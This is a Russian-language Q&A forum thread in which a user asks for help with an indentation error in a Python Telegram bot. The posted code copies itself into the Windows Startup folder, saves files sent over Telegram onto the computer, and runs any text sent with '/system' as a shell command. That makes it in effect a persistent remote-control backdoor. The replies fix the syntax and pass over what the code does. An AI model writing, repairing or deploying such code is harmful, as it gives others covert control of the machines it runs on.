@IgvanA

Можете помочь с Telegram ботом?

Написал код чтобы при отправлении файла боту он его сохранял на пк.
Но у меня выдает ошибку: "IndentationError: unexpected indent"
import telebot
import threading
import getpass
import os
import sys
import subprocess
import telebot

Thisfile = sys.argv[0] # Полный путь к файлу, включая название и расширение
Thisfile_name = os.path.basename(Thisfile) # Название файла без пути
user_path = os.path.expanduser('~') # Путь к папке пользователя

if not os.path.exists(f"{user_path}\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\{Thisfile_name}"):
        os.system(f'copy "{Thisfile}" "{user_path}\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup"')

bot = telebot.TeleBot("Token")

@bot.message_handler(func=lambda message: message.text.lower() in ['файл'])
def echo_all(message):
    bot.reply_to(message, 'Загрузка файла')
    file ='file_id'
    bot.send_document(message.chat.id, file)

@bot.message_handler(content_types=['document'])
        def handle_docs_photo(message):
            try:
                bot.reply_to(message, 'Команда принята')
                chat_id = message.chat.id

                file_info = bot.get_file(message.document.file_id)

                downloaded_file = bot.download_file(file_info.file_path)

                src = os.getcwd() + '\\' + message.document.file_name;
                with open(src, 'wb') as new_file:
                    new_file.write(downloaded_file)

                bot.reply_to(message, "Файл сохранён в текущую директорию")
            except Exception as e:
                bot.reply_to(message, e)

@bot.message_handler(commands=['system'])
        def video(message, res=True):
            try:
                text = ' '.join([str(elem) for elem in message.text.split()])
                text1 = text.replace('/system ', '')
                bot.reply_to(message, 'Команда принята')
                a = os.system(text1)
                if a == 1:
                    bot.reply_to(message, 'Команда не выполнилась')
                elif a == 0:
                    bot.reply_to(message, 'Команда выполнилась')
            except Exception as e:
                bot.reply_to(message, e)
bot.polling()
    except:
        pass
  • Вопрос задан
  • 145 просмотров
Пригласить эксперта
Ответы на вопрос 2
AlexNest
@AlexNest Куратор тега Python
Работаю с Python/Django
Где-то лишний/пропущенный отступ, либо где-то затесался таб, вместо пробела (или наоборот).
Т.к. полный текст ошибки вы не привели - ищите нужную строку сами.
Ну и да - подобный подход - неверен.

try:
   ...
except Exception as e:

Чисто с точки зрения синтаксиса все ок, но "хорошим тоном" - является использование не общего исключения, а максимально конкретного, а базовое использовать "по остаточному принципу" (сперва конкретные, потом, если возможны какие-то другие, но специфической обработки не нужно - базовое)
try:
   ...
except (SomeException, SomeOtherException):
    print('Обрабатываем какое-то исключение и еще какое-то исключение одинаково')
except SomeThridException:
    print('Обрабатываем какое-то третье исключение')
except Exception as e:
    print('Обрабатываем все остальные ')
Ответ написан
Комментировать
@KindCat
У вас в функциях handle_docs_photo и video есть отступ перед def, который и создаёт ошибку. После декоратора (@что-то) отступ не ставится
Ответ написан
Комментировать
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Войти через центр авторизации
Похожие вопросы